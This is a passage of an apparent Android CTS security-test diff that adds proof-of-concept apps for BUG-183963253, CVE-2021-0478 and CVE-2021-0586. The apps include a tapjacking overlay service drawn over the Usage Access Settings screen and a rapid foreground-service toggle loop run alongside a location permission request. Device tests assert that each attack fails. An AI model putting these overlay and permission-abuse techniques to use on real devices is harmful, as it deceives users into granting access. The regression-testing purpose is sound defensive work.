+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+  <string name="app_name">BUG_183963253</string>
+  <string name="app_description">This is an overlay-activity</string>
+  <string name="tapjacking_text">BUG_183963253 overlay text</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/Constants.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/Constants.java
new file mode 100644
index 0000000..6856fc4
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/Constants.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183963253;
+
+final class Constants {
+
+    public static final String LOG_TAG = "BUG-183963253";
+    public static final String TEST_APP_PACKAGE = Constants.class.getPackage().getName();
+
+    public static final String ACTION_START_TAPJACKING = "BUG_183963253.start_tapjacking";
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
new file mode 100644
index 0000000..108eaf8
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -0,0 +1,121 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183963253;
+
+import static android.security.cts.BUG_183963253.Constants.LOG_TAG;
+
+import org.junit.Before;
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertNotNull;
+
+/** Basic sample for unbundled UiAutomator. */
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    private static final long WAIT_FOR_UI_TIMEOUT = 10_000;
+
+    private Context mContext;
+    private UiDevice mDevice;
+
+    @Before
+    public void setUp() throws Exception {
+        Log.d(LOG_TAG, "startMainActivityFromHomeScreen()");
+
+        mContext = getApplicationContext();
+
+        // If the permission is not granted, the app will show up in the Usage Access Settings.
+        // This is required for the test below.
+        // NOTE: The permission is granted by the HostJUnit4Test implementation and should not fail.
+        assertEquals("Permission PACKAGE_USAGE_STATS not granted!",
+                mContext.checkSelfPermission("android.permission.PACKAGE_USAGE_STATS"),
+                PackageManager.PERMISSION_GRANTED);
+
+        // Initialize UiDevice instance
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        if (!mDevice.isScreenOn()) {
+            mDevice.wakeUp();
+        }
+        mDevice.pressHome();
+    }
+
+    @Test
+    public void testTapjacking() throws InterruptedException {
+        Log.d(LOG_TAG, "Starting tap-jacking test");
+
+        launchTestApp();
+
+        launchTapjackedActivity();
+
+        mContext.sendBroadcast(new Intent(Constants.ACTION_START_TAPJACKING));
+        Log.d(LOG_TAG, "Sent intent to start tap-jacking!");
+
+        UiObject2 overlay = waitForView(By.text("BUG_183963253 overlay text"));
+        assertNull("Tap-jacking successful. Overlay was displayed.!", overlay);
+    }
+
+    @After
+    public void tearDown() {
+        mDevice.pressHome();
+    }
+
+    private void launchTestApp() {
+        Intent intent = mContext.getPackageManager().getLaunchIntentForPackage(
+                Constants.TEST_APP_PACKAGE);
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+        mContext.startActivity(intent);
+
+        // Wait for the app to appear
+        UiObject2 view = waitForView(By.pkg(Constants.TEST_APP_PACKAGE).depth(0));
+        assertNotNull("test-app did not appear!", view);
+        Log.d(LOG_TAG, "test-app appeared");
+    }
+
+    private void launchTapjackedActivity() {
+        Intent intent = new Intent();
+        intent.setAction("android.settings.USAGE_ACCESS_SETTINGS");
+        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK | Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+
+        UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
+        assertNotNull("Activity under-test was not launched or found!", view);
+        Log.d(LOG_TAG, "Started Activity under-test.");
+    }
+
+    private UiObject2 waitForView(BySelector selector) {
+        return mDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/MainActivity.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/MainActivity.java
new file mode 100644
index 0000000..597423d
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/MainActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts.BUG_183963253;
+
+import static android.security.cts.BUG_183963253.Constants.LOG_TAG;
+
+import android.app.AlertDialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+import android.widget.ImageView;
+import android.widget.SeekBar;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+import java.util.ArrayList;
+
+/** Main activity for the test-app. */
+public final class MainActivity extends AppCompatActivity {
+
+    private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
+        public void onReceive(Context context, Intent intent) {
+            startTapjacking();
+        }
+    };
+
+    private Button btnStart;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+
+        registerReceiver(mReceiver, new IntentFilter(Constants.ACTION_START_TAPJACKING));
+
+        btnStart = (Button) findViewById(R.id.btnStart);
+        btnStart.setOnClickListener(v -> startTapjacking());
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        unregisterReceiver(mReceiver);
+        stopOverlayService();
+    }
+
+    public void startTapjacking() {
+        Log.d(LOG_TAG, "Starting tap-jacking flow.");
+        stopOverlayService();
+
+        startOverlayService();
+        Log.d(LOG_TAG, "Started overlay-service.");
+    }
+
+    private void startOverlayService() {
+        startService(new Intent(getApplicationContext(), OverlayService.class));
+    }
+
+    private void stopOverlayService() {
+        stopService(new Intent(getApplicationContext(), OverlayService.class));
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/OverlayService.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/OverlayService.java
new file mode 100644
index 0000000..ec21f0b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/OverlayService.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.BUG_183963253;
+
+import android.app.Service;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Looper;
+import android.provider.Settings;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.widget.Button;
+
+/** Service that starts the overlay for the test. */
+public final class OverlayService extends Service {
+    public Button mButton;
+    private WindowManager mWindowManager;
+    private WindowManager.LayoutParams mLayoutParams;
+
+    @Override
+    public void onCreate() {
+        Log.d(Constants.LOG_TAG, "onCreate() called");
+        super.onCreate();
+
+        DisplayMetrics displayMetrics = Resources.getSystem().getDisplayMetrics();
+        int scaledWidth = (int) (displayMetrics.widthPixels * 0.9);
+        int scaledHeight = (int) (displayMetrics.heightPixels * 0.9);
+
+        mWindowManager = getSystemService(WindowManager.class);
+        mLayoutParams = new WindowManager.LayoutParams();
+        mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+        mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+                | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        mLayoutParams.format = PixelFormat.OPAQUE;
+        mLayoutParams.gravity = Gravity.CENTER;
+        mLayoutParams.width = scaledWidth;
+        mLayoutParams.height = scaledHeight;
+        mLayoutParams.x = scaledWidth / 2;
+        mLayoutParams.y = scaledHeight / 2;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Log.d(Constants.LOG_TAG, "onStartCommand() called");
+        showFloatingWindow();
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onDestroy() {
+        Log.d(Constants.LOG_TAG, "onDestroy() called");
+        if (mWindowManager != null && mButton != null) {
+            mWindowManager.removeView(mButton);
+        }
+        super.onDestroy();
+    }
+
+    private void showFloatingWindow() {
+        if (!Settings.canDrawOverlays(this)) {
+            Log.w(Constants.LOG_TAG, "Cannot show overlay window. Permission denied");
+        }
+
+        mButton = new Button(getApplicationContext());
+        mButton.setText(getResources().getString(R.string.tapjacking_text));
+        mButton.setTag(mButton.getVisibility());
+        mWindowManager.addView(mButton, mLayoutParams);
+
+        new Handler(Looper.myLooper()).postDelayed(this::stopSelf, 60_000);
+        Log.d(Constants.LOG_TAG, "Floating window button created");
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp
new file mode 100644
index 0000000..0673f33
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-0478",
+    defaults: [
+        "cts_support_defaults",
+    ],
+    srcs: [
+        "src/android/security/cts/CVE_2021_0478/PocActivity.java",
+        "src/android/security/cts/CVE_2021_0478/PocService.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/AndroidManifest.xml
new file mode 100644
index 0000000..d8ec56c
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.cve_2021_0478"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE-2021-0478"
+        android:supportsRtl="true">
+        <service
+            android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+
+        <activity android:name=".PocActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/layout/activity_main.xml
new file mode 100644
index 0000000..a85bec9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/raw/image.jpg b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/raw/image.jpg
new file mode 100644
index 0000000..b829548
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/res/raw/image.jpg
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocActivity.java
new file mode 100644
index 0000000..65caacf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocActivity.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0478;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.Manifest;
+import android.os.Bundle;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+
+public class PocActivity extends Activity {
+    private WakeLock mScreenLock;
+    private Context mContext;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            mContext = this.getApplicationContext();
+            PowerManager pm = mContext.getSystemService(PowerManager.class);
+            mScreenLock = pm.newWakeLock(
+                    PowerManager.SCREEN_BRIGHT_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP,
+                    "PocActivity");
+            mScreenLock.acquire();
+            super.onCreate(savedInstanceState);
+            setContentView(R.layout.activity_main);
+            startServices();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    void startServices() {
+        try {
+            startForegroundService(new Intent(this, PocService.class));
+            requestPermission();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    void requestPermission() {
+        try {
+            this.requestPermissions(new String[] {Manifest.permission.ACCESS_FINE_LOCATION}, 12);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        mScreenLock.release();
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocService.java
new file mode 100644
index 0000000..dfcedca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0478/src/android/security/cts/CVE_2021_0478/PocService.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0478;
+
+import android.annotation.SuppressLint;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.os.IBinder;
+
+public class PocService extends Service {
+
+    private static long SCAN_DURATION_MILLIS = 60000;
+
+    public PocService() {}
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        try {
+            NotificationManager notificationManager =
+                    getSystemService(NotificationManager.class);
+            String id = "channel";
+            NotificationChannel notificationChannel =
+                    new NotificationChannel(id, " ", NotificationManager.IMPORTANCE_NONE);
+            notificationManager.createNotificationChannel(notificationChannel);
+            @SuppressLint("ResourceType")
+            Notification notification = new Notification.Builder(this, id)
+                    .setSmallIcon(Icon.createWithResource(this, R.raw.image))
+                    .setContentTitle("hello").build();
+            int notificationID = 31;
+            long startTime = System.currentTimeMillis();
+            long endTime = startTime + SCAN_DURATION_MILLIS;
+            while (System.currentTimeMillis() < endTime) {
+                startForeground(notificationID, notification);
+                stopForeground(true);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
index db36d6f..ec76abd 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CVE-2021-0481",
     defaults: ["cts_support_defaults"],
@@ -29,4 +33,3 @@
     ],
     sdk_version: "current",
 }
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 594e427..0d51208 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -33,7 +33,7 @@
             android:enabled="true"
             android:exported="false" />
 
-        <activity android:name=".PocActivity">
+        <activity android:name=".PocActivity" android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
new file mode 100644
index 0000000..cd7bef5
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2021-0586",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "androidx.test.core",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml
new file mode 100644
index 0000000..9ec48ca
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/AndroidManifest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    package="android.security.cts.cve_2021_0586"
+    android:versionCode="1"
+    android:versionName="1.0">
+
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
+    <application
+        android:allowBackup="true"
+        android:label="CVE_2021_0586"
+        android:supportsRtl="true">
+        <uses-library android:name="android.test.runner" />
+        <service android:name=".PocService"
+            android:enabled="true"
+            android:exported="false" />
+
+        <activity android:name=".PocActivity"
+            android:exported="true"
+            android:taskAffinity="android.security.cts.cve_2021_0586.PocActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+   <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.cve_2021_0586" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png
new file mode 100644
index 0000000..cab903e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/drawable/cve_2021_0586.png
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml
new file mode 100644
index 0000000..4d7ba2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/layout/activity_main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:id="@+id/parent"
+    android:background="#FFFFFF"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:id="@+id/drawableview"
+        android:layout_width="match_parent"
+        android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml
new file mode 100644
index 0000000..dcdbe0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2021 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+<resources>
+    <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
new file mode 100644
index 0000000..8e315c0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0586/src/android/security/cts/CVE_2021_0586/DeviceTest.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0586;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.os.SystemClock;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import java.util.regex.Pattern;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
+    private static final int LAUNCH_TIMEOUT_MS = 20000;
+    private UiDevice mDevice;
+
+    @Before
+    public void startMainActivityFromHomeScreen() {
+        mDevice = UiDevice.getInstance(getInstrumentation());
